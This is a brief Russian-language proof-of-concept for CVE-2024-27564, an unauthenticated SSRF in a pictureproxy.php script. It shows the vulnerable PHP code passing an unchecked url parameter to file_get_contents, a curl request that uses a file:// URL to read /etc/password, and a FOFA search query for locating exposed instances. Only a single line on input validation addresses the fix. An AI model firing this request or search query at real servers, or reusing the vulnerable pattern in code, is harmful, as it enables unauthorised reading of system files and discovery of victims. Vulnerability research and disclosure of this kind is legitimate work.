
Proof-of-concept для CVE-2024-27564 — неаутентифицированный SSRF в pictureproxy.php через параметр url, с уязвимым кодом, PoC на curl и заметками по устранению.
Уязвимость в pictureproxy.php позволяет удалённым злоумышленникам выполнять произвольные запросы путём внедрения URL в параметр url. Эта уязвимость SSRF может быть эксплуатирована без аутентификации, что делает её особенно опасной.
Уязвимый код находится в файле pictureproxy.php. Проблема возникает из-за того, что функция не выполняет должную проверку параметра url. Переменная $_GET['url'] передаётся в функцию file_get_contents(), которая извлекает содержимое по указанному URL. Это может привести к SSRF.
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Curl-запрос:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
Необходимо надлежащее управление проверкой входных данных.